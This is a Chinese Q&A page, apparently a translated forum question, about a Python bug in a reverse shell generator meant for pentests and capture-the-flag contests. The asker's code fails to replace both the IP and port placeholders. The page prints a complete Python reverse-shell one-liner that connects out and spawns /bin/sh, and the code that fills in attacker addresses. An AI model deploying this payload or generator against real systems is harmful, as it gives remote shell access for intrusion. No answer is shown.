首页 > 解决方案 > 删除文件replace()中的多个字符串不起作用

问题描述

目前,我的代码遇到了一些问题。我正在创建一个反向 shell 生成器,该生成器可以通过 Pentests 自动进行 Capture flag 竞赛。

该脚本将读取包含有效负载的文件,然后该脚本将选择要获取的特定行,然后替换反向连接的 IP 地址和端口,并将有效负载输出给用户。但是我被困在一些问题上。问题是我试图在读取包含我的文本的文件时替换两个不同的字符串,其中一个字符串被替换,而另一个没有:

[IP]

[港口]

我也使用正则表达式查看了以前的文章,但没有进一步的运气。在我的代码中注释掉的正则表达式部分收到错误:“意外令牌”

我的代码:

import socket
import base64
import hashlib
import re 
import os # Fetching ip from interface
import linecache # for reading specific lines

ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
    print("Welcome, lets generate a choosen reverse shell\n")
    global ip
    global port

    print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
    selection = input("Type in number:\t")
    if int(selection) == 1:
        with open("myshells.txt", "r") as shells:
            #for myreplace in (("[ip]", ip), ("[port]", port)):
            fetchshell = linecache.getline('myshells.txt', 1)
            ipreplaced = fetchshell.replace("[ip]", ip)
            ipreplaced = fetchshell.replace("[port]", port)
            print(ipreplaced)
        """for line in fetchshell:
            myport = line.write(re.sub(r"(port)", port))
            myip = line.write((re.sub(r"(ip)", ip))
            print(line)"""

文件内容:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

上述代码的示例输出:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

标签: pythonpython-3.xregexreplace

解决方案


推荐阅读